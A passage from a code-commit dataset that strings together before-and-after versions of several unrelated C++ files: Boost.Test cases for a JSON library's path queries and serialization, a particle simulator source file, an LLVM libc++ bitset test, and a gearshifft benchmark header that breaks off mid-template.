R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}\";\n json r5(o.path(\"\/\/book[3]\"));\n BOOST_CHECK_EQUAL(json::load(a5), r5);\n\n static const char a6[] = \"\\\"J. R. R. Tolkien\\\"\";\n json r6(o.path(\"\/store\/book[3]\/author\"));\n BOOST_CHECK_EQUAL(json::load(a6), r6);\n BOOST_CHECK(json::load(a6) == r6);\n\n static const char a7[] = \"[{\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}]\";\n json r7(o.path(\"\/store\/book[category=\\\"fiction\\\"]\"));\n BOOST_CHECK_EQUAL(json::load(a7), r7);\n}\n\nBOOST_AUTO_TEST_CASE(json_test_path2) {\n json o(json::load(\"[{\\\"type\\\": 0}, {\\\"type\\\": 1}]\"));\n BOOST_CHECK_EQUAL(json::load(\"[{\\\"type\\\":1}]\"), o.path(\"\/[type=1]\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_test_filter_key_exists) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n static const char a[] = \"[\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Herman Melville\\\",\"\n\" \\\"title\\\": \\\"Moby Dick\\\",\"\n\" \\\"isbn\\\": \\\"0-553-21311-3\\\",\"\n\" \\\"price\\\": 8.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"J. R. R. Tolkien\\\",\"\n\" \\\"title\\\": \\\"The Lord of the Rings\\\",\"\n\" \\\"isbn\\\": \\\"0-395-19395-8\\\",\"\n\" \\\"price\\\": 22.99\"\n\" }]\";\n json r(o.path(\"\/\/book[isbn]\"));\n BOOST_CHECK_EQUAL(json::load(a), r);\n\n json r1(o.path(\"\/\/book[doesnotexist]\"));\n BOOST_REQUIRE(r1.is_array());\n BOOST_CHECK_EQUAL(0, r1.asize());\n}\n\nBOOST_AUTO_TEST_CASE(json_test_truth) {\n json o(json::object());\n BOOST_CHECK(o.get(\"nothing\").is_true() == false);\n BOOST_CHECK(o.get(\"nothing\").is_false() == false);\n BOOST_CHECK(o.get(\"nothing\").is_null() == false);\n BOOST_CHECK(!o.get(\"nothing\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_test_path3) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n BOOST_CHECK_EQUAL(o, o.path(\"\/\"));\n BOOST_CHECK_EQUAL(\"Sayings of the Century\",\n o.path(\"\/store\/book[category=\\\"reference\\\"]\/title\"));\n\n static const char text[] = \"[\"\n \"{\\\"type\\\":\\\"a\\\", \\\"value\\\":0},\"\n \"{\\\"type\\\":\\\"b\\\", \\\"value\\\":1},\"\n \"{\\\"type\\\":\\\"c\\\", \\\"value\\\":2},\"\n \"{\\\"type\\\":\\\"c\\\", \\\"value\\\":3}\"\n \"]\";\n\n BOOST_CHECK_EQUAL(json(1), json::load(text).path(\"\/[type=\\\"b\\\"]\/value\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_init_list) {\n json meta{\n { \"foo\", 17 },\n { \"bar\", 23 },\n { \"baz\", true },\n { \"corge\", json::array({ 1, 3.14159 }) },\n { \"grault\", json::array({ \"hello\", string(\"world\") }) },\n };\n BOOST_REQUIRE(meta);\n BOOST_REQUIRE(meta.is_object());\n BOOST_CHECK_EQUAL(meta.osize(), 5);\n BOOST_CHECK_EQUAL(meta[\"foo\"].integer(), 17);\n BOOST_CHECK_EQUAL(meta[\"corge\"][0].integer(), 1);\n BOOST_CHECK_EQUAL(meta[\"grault\"][1].str(), \"world\");\n}\n\ntemplate <class T>\ninline void test_conv(T val, json j, json_type t) {\n json j2 = to_json(val);\n BOOST_CHECK_EQUAL(j2.type(), t);\n BOOST_CHECK_EQUAL(j, j2);\n T val2 = json_cast<T>(j2);\n BOOST_CHECK_EQUAL(val, val2);\n}\n\ntemplate <class T, json_type TYPE = JSON_INTEGER>\ninline void test_conv_num() {\n typedef numeric_limits<T> lim;\n T range[5] = { lim::min(), T(-1), 0, T(1), lim::max() };\n for (unsigned i = 0; i < 5; ++i)\n test_conv<T>(range[i], json(range[i]), TYPE);\n}\n\nBOOST_AUTO_TEST_CASE(json_conversions) {\n test_conv<string>(string(\"hello\"), json::str(\"hello\"), JSON_STRING);\n BOOST_CHECK_EQUAL(to_json(\"world\"), json::str(\"world\"));\n\n test_conv_num<short>();\n test_conv_num<int>();\n test_conv_num<long>();\n test_conv_num<long long>();\n test_conv_num<unsigned short>();\n test_conv_num<unsigned>();\n#if ULONG_MAX < LLONG_MAX\n test_conv_num<unsigned long>();\n#endif\n\n test_conv_num<double, JSON_REAL>();\n test_conv_num<float, JSON_REAL>();\n\n test_conv<bool>(true, json::jtrue(), JSON_TRUE);\n test_conv<bool>(false, json::jfalse(), JSON_FALSE);\n}\n\nBOOST_AUTO_TEST_CASE(json_create) {\n json obj1{};\n BOOST_CHECK(obj1);\n obj1.set(\"test\", \"set\");\n BOOST_CHECK(obj1.get(\"test\"));\n json root{\n {\"obj1\", obj1}\n };\n BOOST_CHECK_EQUAL(root.get(\"obj1\"), obj1);\n obj1.set(\"this\", \"that\");\n json obj2{};\n BOOST_CHECK_EQUAL(root.get(\"obj1\").get(\"this\").str(), \"that\");\n obj1.set(\"obj2\", obj2);\n BOOST_CHECK_EQUAL(root.get(\"obj1\").get(\"obj2\"), obj2);\n}\n\n#ifdef TEN_JSON_CXX11\nstruct corge {\n int foo, bar;\n\n corge() : foo(), bar() {}\n corge(int foo_, int bar_) : foo(foo_), bar(bar_) {}\n};\ntemplate <class AR>\ninline AR & operator & (AR &ar, corge &c) {\n return ar & kv(\"foo\", c.foo) & kv(\"bar\", c.bar);\n}\ninline bool operator == (const corge &a, const corge &b) {\n return a.foo == b.foo && a.bar == b.bar;\n}\n\n\nenum captain { kirk, picard, janeway, sisko };\nconst array<string, 4> captain_names = {{ \"kirk\", \"picard\", \"janeway\", \"sisko\" }};\ntemplate <class AR>\ninline AR & operator & (AR &ar, captain &c) {\n return serialize_enum(ar, c, captain_names);\n}\n\n\nBOOST_AUTO_TEST_CASE(json_serial) {\n corge c1(42, 17);\n auto j = jsave_all(c1);\n corge c2;\n JLoad(j) >> c2;\n BOOST_CHECK(c1 == c2);\n\n map<string, int> m;\n JLoad(j) >> m;\n BOOST_CHECK_EQUAL(m.size(), 2);\n BOOST_CHECK(m.find(\"foo\") != m.end());\n BOOST_CHECK(m.find(\"bar\") != m.end());\n BOOST_CHECK_EQUAL(m[\"foo\"], 42);\n BOOST_CHECK_EQUAL(m[\"bar\"], 17);\n\n#if BOOST_VERSION >= 104800\n flat_map<string, int> f;\n JLoad(j) >> f;\n BOOST_CHECK_EQUAL(f.size(), 2);\n BOOST_CHECK(f.find(\"foo\") != f.end());\n BOOST_CHECK(f.find(\"bar\") != f.end());\n BOOST_CHECK_EQUAL(f[\"foo\"], 42);\n BOOST_CHECK_EQUAL(f[\"bar\"], 17);\n#endif\n\n maybe<int> a;\n j = jsave_all(a);\n BOOST_CHECK(!j);\n a = 42;\n j = jsave_all(a);\n BOOST_CHECK_EQUAL(j, 42);\n\n a.reset();\n BOOST_CHECK(!a.ok());\n j = 17;\n JLoad(j) >> a;\n BOOST_CHECK(a.ok());\n BOOST_CHECK_EQUAL(a.get(), 17);\n\n\n captain c = janeway;\n j = jsave_all(c);\n BOOST_CHECK_EQUAL(j, \"janeway\");\n j = \"kirk\";\n JLoad(j) >> c;\n BOOST_CHECK_EQUAL(c, kirk);\n}\n\n#endif \/\/ TEN_JSON_CXX11\n<commit_msg>update json_create to work even though {} is not init list<commit_after>#define BOOST_TEST_MODULE json test\n#include <boost\/test\/unit_test.hpp>\n#include <ten\/json.hh>\n#ifdef TEN_JSON_CXX11\n#include <ten\/jserial.hh>\n#include <ten\/jserial_maybe.hh>\n#include <ten\/jserial_seq.hh>\n#include <ten\/jserial_assoc.hh>\n#include <ten\/jserial_enum.hh>\n#endif\n#include <array>\n\nusing namespace std;\nusing namespace ten;\n\nconst char json_text[] =\n\"{ \\\"store\\\": {\"\n\" \\\"book\\\": [\"\n\" { \\\"category\\\": \\\"reference\\\",\"\n\" \\\"author\\\": \\\"Nigel Rees\\\",\"\n\" \\\"title\\\": \\\"Sayings of the Century\\\",\"\n\" \\\"price\\\": 8.95\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Evelyn Waugh\\\",\"\n\" \\\"title\\\": \\\"Sword of Honour\\\",\"\n\" \\\"price\\\": 12.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Herman Melville\\\",\"\n\" \\\"title\\\": \\\"Moby Dick\\\",\"\n\" \\\"isbn\\\": \\\"0-553-21311-3\\\",\"\n\" \\\"price\\\": 8.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"J. R. R. Tolkien\\\",\"\n\" \\\"title\\\": \\\"The Lord of the Rings\\\",\"\n\" \\\"isbn\\\": \\\"0-395-19395-8\\\",\"\n\" \\\"price\\\": 22.99\"\n\" }\"\n\" ],\"\n\" \\\"bicycle\\\": {\"\n\" \\\"color\\\": \\\"red\\\",\"\n\" \\\"price\\\": 19.95\"\n\" }\"\n\" }\"\n\"}\";\n\n\nBOOST_AUTO_TEST_CASE(json_test_path1) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n static const char a1[] = \"[\\\"Nigel Rees\\\", \\\"Evelyn Waugh\\\", \\\"Herman Melville\\\", \\\"J. R. R. Tolkien\\\"]\";\n json r1(o.path(\"\/store\/book\/author\"));\n BOOST_CHECK_EQUAL(json::load(a1), r1);\n\n json r2(o.path(\"\/\/author\"));\n BOOST_CHECK_EQUAL(json::load(a1), r2);\n\n \/\/ jansson hashtable uses size_t for hash\n \/\/ we think this is causing the buckets to change on 32bit vs. 64bit\n#if (__SIZEOF_SIZE_T__ == 4)\n static const char a3[] = \"[{\\\"category\\\": \\\"reference\\\", \\\"author\\\": \\\"Nigel Rees\\\", \\\"title\\\": \\\"Sayings of the Century\\\", \\\"price\\\": 8.95}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}, {\\\"color\\\": \\\"red\\\", \\\"price\\\": 19.95}]\";\n#elif (__SIZEOF_SIZE_T__ == 8)\n static const char a3[] = \"[{\\\"color\\\": \\\"red\\\", \\\"price\\\": 19.95}, {\\\"category\\\": \\\"reference\\\", \\\"author\\\": \\\"Nigel Rees\\\", \\\"title\\\": \\\"Sayings of the Century\\\", \\\"price\\\": 8.95}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}]\";\n#endif\n json r3(o.path(\"\/store\/*\"));\n json t3(json::load(a3));\n BOOST_CHECK_EQUAL(t3, r3);\n\n#if (__SIZEOF_SIZE_T__ == 4)\n static const char a4[] = \"[8.95, 12.99, 8.99, 22.99, 19.95]\";\n#elif (__SIZEOF_SIZE_T__ == 8)\n static const char a4[] = \"[19.95, 8.95, 12.99, 8.99, 22.99]\";\n#endif\n json r4(o.path(\"\/store\/\/price\"));\n BOOST_CHECK_EQUAL(json::load(a4), r4);\n\n static const char a5[] = \"{\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}\";\n json r5(o.path(\"\/\/book[3]\"));\n BOOST_CHECK_EQUAL(json::load(a5), r5);\n\n static const char a6[] = \"\\\"J. R. R. Tolkien\\\"\";\n json r6(o.path(\"\/store\/book[3]\/author\"));\n BOOST_CHECK_EQUAL(json::load(a6), r6);\n BOOST_CHECK(json::load(a6) == r6);\n\n static const char a7[] = \"[{\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Evelyn Waugh\\\", \\\"title\\\": \\\"Sword of Honour\\\", \\\"price\\\": 12.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"Herman Melville\\\", \\\"title\\\": \\\"Moby Dick\\\", \\\"isbn\\\": \\\"0-553-21311-3\\\", \\\"price\\\": 8.99}, {\\\"category\\\": \\\"fiction\\\", \\\"author\\\": \\\"J. R. R. Tolkien\\\", \\\"title\\\": \\\"The Lord of the Rings\\\", \\\"isbn\\\": \\\"0-395-19395-8\\\", \\\"price\\\": 22.99}]\";\n json r7(o.path(\"\/store\/book[category=\\\"fiction\\\"]\"));\n BOOST_CHECK_EQUAL(json::load(a7), r7);\n}\n\nBOOST_AUTO_TEST_CASE(json_test_path2) {\n json o(json::load(\"[{\\\"type\\\": 0}, {\\\"type\\\": 1}]\"));\n BOOST_CHECK_EQUAL(json::load(\"[{\\\"type\\\":1}]\"), o.path(\"\/[type=1]\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_test_filter_key_exists) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n static const char a[] = \"[\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Herman Melville\\\",\"\n\" \\\"title\\\": \\\"Moby Dick\\\",\"\n\" \\\"isbn\\\": \\\"0-553-21311-3\\\",\"\n\" \\\"price\\\": 8.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"J. R. R. Tolkien\\\",\"\n\" \\\"title\\\": \\\"The Lord of the Rings\\\",\"\n\" \\\"isbn\\\": \\\"0-395-19395-8\\\",\"\n\" \\\"price\\\": 22.99\"\n\" }]\";\n json r(o.path(\"\/\/book[isbn]\"));\n BOOST_CHECK_EQUAL(json::load(a), r);\n\n json r1(o.path(\"\/\/book[doesnotexist]\"));\n BOOST_REQUIRE(r1.is_array());\n BOOST_CHECK_EQUAL(0, r1.asize());\n}\n\nBOOST_AUTO_TEST_CASE(json_test_truth) {\n json o(json::object());\n BOOST_CHECK(o.get(\"nothing\").is_true() == false);\n BOOST_CHECK(o.get(\"nothing\").is_false() == false);\n BOOST_CHECK(o.get(\"nothing\").is_null() == false);\n BOOST_CHECK(!o.get(\"nothing\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_test_path3) {\n json o(json::load(json_text));\n BOOST_REQUIRE(o.get());\n\n BOOST_CHECK_EQUAL(o, o.path(\"\/\"));\n BOOST_CHECK_EQUAL(\"Sayings of the Century\",\n o.path(\"\/store\/book[category=\\\"reference\\\"]\/title\"));\n\n static const char text[] = \"[\"\n \"{\\\"type\\\":\\\"a\\\", \\\"value\\\":0},\"\n \"{\\\"type\\\":\\\"b\\\", \\\"value\\\":1},\"\n \"{\\\"type\\\":\\\"c\\\", \\\"value\\\":2},\"\n \"{\\\"type\\\":\\\"c\\\", \\\"value\\\":3}\"\n \"]\";\n\n BOOST_CHECK_EQUAL(json(1), json::load(text).path(\"\/[type=\\\"b\\\"]\/value\"));\n}\n\nBOOST_AUTO_TEST_CASE(json_init_list) {\n json meta{\n { \"foo\", 17 },\n { \"bar\", 23 },\n { \"baz\", true },\n { \"corge\", json::array({ 1, 3.14159 }) },\n { \"grault\", json::array({ \"hello\", string(\"world\") }) },\n };\n BOOST_REQUIRE(meta);\n BOOST_REQUIRE(meta.is_object());\n BOOST_CHECK_EQUAL(meta.osize(), 5);\n BOOST_CHECK_EQUAL(meta[\"foo\"].integer(), 17);\n BOOST_CHECK_EQUAL(meta[\"corge\"][0].integer(), 1);\n BOOST_CHECK_EQUAL(meta[\"grault\"][1].str(), \"world\");\n}\n\ntemplate <class T>\ninline void test_conv(T val, json j, json_type t) {\n json j2 = to_json(val);\n BOOST_CHECK_EQUAL(j2.type(), t);\n BOOST_CHECK_EQUAL(j, j2);\n T val2 = json_cast<T>(j2);\n BOOST_CHECK_EQUAL(val, val2);\n}\n\ntemplate <class T, json_type TYPE = JSON_INTEGER>\ninline void test_conv_num() {\n typedef numeric_limits<T> lim;\n T range[5] = { lim::min(), T(-1), 0, T(1), lim::max() };\n for (unsigned i = 0; i < 5; ++i)\n test_conv<T>(range[i], json(range[i]), TYPE);\n}\n\nBOOST_AUTO_TEST_CASE(json_conversions) {\n test_conv<string>(string(\"hello\"), json::str(\"hello\"), JSON_STRING);\n BOOST_CHECK_EQUAL(to_json(\"world\"), json::str(\"world\"));\n\n test_conv_num<short>();\n test_conv_num<int>();\n test_conv_num<long>();\n test_conv_num<long long>();\n test_conv_num<unsigned short>();\n test_conv_num<unsigned>();\n#if ULONG_MAX < LLONG_MAX\n test_conv_num<unsigned long>();\n#endif\n\n test_conv_num<double, JSON_REAL>();\n test_conv_num<float, JSON_REAL>();\n\n test_conv<bool>(true, json::jtrue(), JSON_TRUE);\n test_conv<bool>(false, json::jfalse(), JSON_FALSE);\n}\n\nBOOST_AUTO_TEST_CASE(json_create) {\n json obj1;\n obj1.set(\"test\", \"set\");\n BOOST_CHECK(obj1);\n BOOST_CHECK(obj1.get(\"test\"));\n json root{\n {\"obj1\", obj1}\n };\n BOOST_CHECK_EQUAL(root.get(\"obj1\"), obj1);\n obj1.set(\"this\", \"that\");\n BOOST_CHECK_EQUAL(root.get(\"obj1\").get(\"this\").str(), \"that\");\n json obj2{ {\"answer\", 42} };\n obj1.set(\"obj2\", obj2);\n BOOST_CHECK_EQUAL(root.get(\"obj1\").get(\"obj2\"), obj2);\n}\n\n#ifdef TEN_JSON_CXX11\nstruct corge {\n int foo, bar;\n\n corge() : foo(), bar() {}\n corge(int foo_, int bar_) : foo(foo_), bar(bar_) {}\n};\ntemplate <class AR>\ninline AR & operator & (AR &ar, corge &c) {\n return ar & kv(\"foo\", c.foo) & kv(\"bar\", c.bar);\n}\ninline bool operator == (const corge &a, const corge &b) {\n return a.foo == b.foo && a.bar == b.bar;\n}\n\n\nenum captain { kirk, picard, janeway, sisko };\nconst array<string, 4> captain_names = {{ \"kirk\", \"picard\", \"janeway\", \"sisko\" }};\ntemplate <class AR>\ninline AR & operator & (AR &ar, captain &c) {\n return serialize_enum(ar, c, captain_names);\n}\n\n\nBOOST_AUTO_TEST_CASE(json_serial) {\n corge c1(42, 17);\n auto j = jsave_all(c1);\n corge c2;\n JLoad(j) >> c2;\n BOOST_CHECK(c1 == c2);\n\n map<string, int> m;\n JLoad(j) >> m;\n BOOST_CHECK_EQUAL(m.size(), 2);\n BOOST_CHECK(m.find(\"foo\") != m.end());\n BOOST_CHECK(m.find(\"bar\") != m.end());\n BOOST_CHECK_EQUAL(m[\"foo\"], 42);\n BOOST_CHECK_EQUAL(m[\"bar\"], 17);\n\n#if BOOST_VERSION >= 104800\n flat_map<string, int> f;\n JLoad(j) >> f;\n BOOST_CHECK_EQUAL(f.size(), 2);\n BOOST_CHECK(f.find(\"foo\") != f.end());\n BOOST_CHECK(f.find(\"bar\") != f.end());\n BOOST_CHECK_EQUAL(f[\"foo\"], 42);\n BOOST_CHECK_EQUAL(f[\"bar\"], 17);\n#endif\n\n maybe<int> a;\n j = jsave_all(a);\n BOOST_CHECK(!j);\n a = 42;\n j = jsave_all(a);\n BOOST_CHECK_EQUAL(j, 42);\n\n a.reset();\n BOOST_CHECK(!a.ok());\n j = 17;\n JLoad(j) >> a;\n BOOST_CHECK(a.ok());\n BOOST_CHECK_EQUAL(a.get(), 17);\n\n\n captain c = janeway;\n j = jsave_all(c);\n BOOST_CHECK_EQUAL(j, \"janeway\");\n j = \"kirk\";\n JLoad(j) >> c;\n BOOST_CHECK_EQUAL(c, kirk);\n}\n\n#endif \/\/ TEN_JSON_CXX11\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ KinematicsSimulator.cpp\n\/\/ GPcode01_01_xcode\n\/\/\n\/\/ Created by young-min kang on 3\/27\/15.\n\/\/ Copyright (c) 2015 young-min kang. All rights reserved.\n\/\/\n\n#include \"DynamicSimulator.h\"\n\nCDynamicSimulator::CDynamicSimulator() : CSimulator() {}\n\n\nvoid CDynamicSimulator::init() {\n\n for(int i=0;i<NUMPARTS;i++)particle[i].randomInit();\n}\n\nvoid CDynamicSimulator::clean() {\n \n}\n\nvoid CDynamicSimulator::doBeforeSimulation(double dt, double currentTime) {\n\t\/\/ buoyancy here\n}\n\nvoid CDynamicSimulator::doSimulation(double dt, double currentTime) {\n for(int i=0;i<NUMPARTS;i++)\n particle[i].simulate(dt, currentTime);\n}\n\nvoid CDynamicSimulator::doAfterSimulation(double dt, double currentTime) {\n for(int i=0;i<NUMPARTS;i++) {\n\t\tparticle[i].resetForce();\n\t}\n}\n\nvoid CDynamicSimulator::visualize(void) {\n for(int i=0;i<NUMPARTS;i++) {\n particle[i].drawWithGL(SPHERE_DRAW);\n }\n}<commit_msg>Update DynamicSimulator.cpp<commit_after>\/\/\n\/\/ DynamicSimulator.cpp\n\/\/ GPcode01_01_xcode\n\/\/\n\/\/ Created by young-min kang on 3\/27\/15.\n\/\/ Copyright (c) 2015 young-min kang. All rights reserved.\n\/\/\n\n#include \"DynamicSimulator.h\"\n\nCDynamicSimulator::CDynamicSimulator() : CSimulator() {}\n\n\nvoid CDynamicSimulator::init() {\n\n for(int i=0;i<NUMPARTS;i++)particle[i].randomInit();\n}\n\nvoid CDynamicSimulator::clean() {\n \n}\n\nvoid CDynamicSimulator::doBeforeSimulation(double dt, double currentTime) {\n\t\/\/ buoyancy here\n}\n\nvoid CDynamicSimulator::doSimulation(double dt, double currentTime) {\n for(int i=0;i<NUMPARTS;i++)\n particle[i].simulate(dt, currentTime);\n}\n\nvoid CDynamicSimulator::doAfterSimulation(double dt, double currentTime) {\n for(int i=0;i<NUMPARTS;i++) {\n\t\tparticle[i].resetForce();\n\t}\n}\n\nvoid CDynamicSimulator::visualize(void) {\n for(int i=0;i<NUMPARTS;i++) {\n particle[i].drawWithGL(SPHERE_DRAW);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ test unsigned long to_ulong() const;\n\n#include <bitset>\n#include <algorithm>\n#include <climits>\n#include <cassert>\n\ntemplate <std::size_t N>\nvoid test_to_ulong()\n{\n const std::size_t M = sizeof(unsigned long) * CHAR_BIT < N ? sizeof(unsigned long) * CHAR_BIT : N;\n const std::size_t X = M == 0 ? sizeof(unsigned long) * CHAR_BIT - 1 : sizeof(unsigned long) * CHAR_BIT - M;\n const std::size_t max = M == 0 ? 0 : std::size_t(-1) >> X;\n std::size_t tests[] = {0,\n std::min<std::size_t>(1, max),\n std::min<std::size_t>(2, max),\n std::min<std::size_t>(3, max),\n std::min(max, max-3),\n std::min(max, max-2),\n std::min(max, max-1),\n max};\n for (std::size_t i = 0; i < sizeof(tests)\/sizeof(tests[0]); ++i)\n {\n std::size_t j = tests[i];\n std::bitset<N> v(j);\n assert(j == v.to_ulong());\n }\n}\n\nint main()\n{\n test_to_ulong<0>();\n test_to_ulong<1>();\n test_to_ulong<31>();\n test_to_ulong<32>();\n test_to_ulong<33>();\n test_to_ulong<63>();\n test_to_ulong<64>();\n test_to_ulong<65>();\n test_to_ulong<1000>();\n}\n<commit_msg>Test case was forming the wrong limits when size_t != unsigned long.<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ test unsigned long to_ulong() const;\n\n#include <bitset>\n#include <algorithm>\n#include <limits>\n#include <climits>\n#include <cassert>\n\ntemplate <std::size_t N>\nvoid test_to_ulong()\n{\n const std::size_t M = sizeof(unsigned long) * CHAR_BIT < N ? sizeof(unsigned long) * CHAR_BIT : N;\n const std::size_t X = M == 0 ? sizeof(unsigned long) * CHAR_BIT - 1 : sizeof(unsigned long) * CHAR_BIT - M;\n const std::size_t max = M == 0 ? 0 : std::size_t(std::numeric_limits<unsigned long>::max()) >> X;\n std::size_t tests[] = {0,\n std::min<std::size_t>(1, max),\n std::min<std::size_t>(2, max),\n std::min<std::size_t>(3, max),\n std::min(max, max-3),\n std::min(max, max-2),\n std::min(max, max-1),\n max};\n for (std::size_t i = 0; i < sizeof(tests)\/sizeof(tests[0]); ++i)\n {\n std::size_t j = tests[i];\n std::bitset<N> v(j);\n assert(j == v.to_ulong());\n }\n}\n\nint main()\n{\n test_to_ulong<0>();\n test_to_ulong<1>();\n test_to_ulong<31>();\n test_to_ulong<32>();\n test_to_ulong<33>();\n test_to_ulong<63>();\n test_to_ulong<64>();\n test_to_ulong<65>();\n test_to_ulong<1000>();\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Setting pending override mesh<commit_after><|endoftext|>"} {"text":"<commit_before>#ifndef BENCHMARK_HPP_\n#define BENCHMARK_HPP_\n\n#define BOOST_TEST_NO_MAIN\n#define BOOST_TEST_ALTERNATIVE_INIT_API\n\n#include \"application.hpp\"\n#include \"options.hpp\"\n#include \"benchmark_suite.hpp\"\n\n#include <boost\/test\/included\/unit_test.hpp>\n#include <boost\/mpl\/list.hpp>\n\nnamespace gearshifft {\n\n \/\/\/ List alias\n template<typename... Types>\n using List = boost::mpl::list<Types...>;\n\n \/**\n * Benchmark API class for clients.\n *\n *\/\n template<typename Context>\n class Benchmark {\n using AppT = Application<Context>;\n\n public:\n Benchmark() = default;\n\n ~Benchmark() {\n if(AppT::getInstance().isContextCreated()) {\n AppT::getInstance().destroyContext();\n }\n }\n\n void configure(int argc, char* argv[]) {\n configured_ = false;\n std::vector<char*> vargv(argv, argv+argc);\n boost_vargv_.clear();\n boost_vargv_.emplace_back(argv[0]); \/\/ [0] = name of application\n\n if( Options::getInstance().parse(vargv, boost_vargv_) ) {\n if( gearshifft::Options::getInstance().getListDevices() ) {\n std::cout << Context::getListDevices() << std::endl;\n }\n }\n else\n configured_ = true;\n }\n\n template<typename T_FFT_Is_Normalized,\n typename T_FFTs,\n typename T_Precisions>\n void run() {\n if(configured_==false)\n return;\n\n AppT::getInstance().createContext();\n\n auto init_function = []() {\n Run<Context, T_FFT_Is_Normalized, T_FFTs, T_Precisions> instance;\n ::boost::unit_test::framework::master_test_suite().add( instance() );\n return true;\n };\n\n ::boost::unit_test::unit_test_main( init_function,\n boost_vargv_.size(),\n boost_vargv_.data() );\n\n AppT::getInstance().destroyContext();\n AppT::getInstance().dumpResults();\n }\n\n private:\n bool configured_ = false;\n std::vector<char*> boost_vargv_;\n };\n\n} \/\/ gearshifft\n\n#endif \/\/ BENCHMARK_HPP_\n<commit_msg>disabled using the boost test alternative stack to fix segfault at the end of fftw benchmarks<commit_after>#ifndef BENCHMARK_HPP_\n#define BENCHMARK_HPP_\n#define BOOST_TEST_DISABLE_ALT_STACK\n#define BOOST_TEST_NO_MAIN\n#define BOOST_TEST_ALTERNATIVE_INIT_API\n\n#include \"application.hpp\"\n#include \"options.hpp\"\n#include \"benchmark_suite.hpp\"\n\n#include <boost\/test\/included\/unit_test.hpp>\n#include <boost\/mpl\/list.hpp>\n\nnamespace gearshifft {\n\n \/\/\/ List alias\n template<typename... Types>\n using List = boost::mpl::list<Types...>;\n\n \/**\n * Benchmark API class for clients.\n *\n *\/\n template<typename Context>\n class Benchmark {\n using AppT = Application<Context>;\n\n public:\n Benchmark() = default;\n\n ~Benchmark() {\n if(AppT::getInstance().isContextCreated()) {\n AppT::getInstance().destroyContext();\n }\n }\n\n void configure(int argc, char* argv[]) {\n configured_ = false;\n std::vector<char*> vargv(argv, argv+argc);\n boost_vargv_.clear();\n boost_vargv_.emplace_back(argv[0]); \/\/ [0] = name of application\n\n if( Options::getInstance().parse(vargv, boost_vargv_) ) {\n if( gearshifft::Options::getInstance().getListDevices() ) {\n std::cout << Context::getListDevices() << std::endl;\n }\n }\n else\n configured_ = true;\n }\n\n template<typename 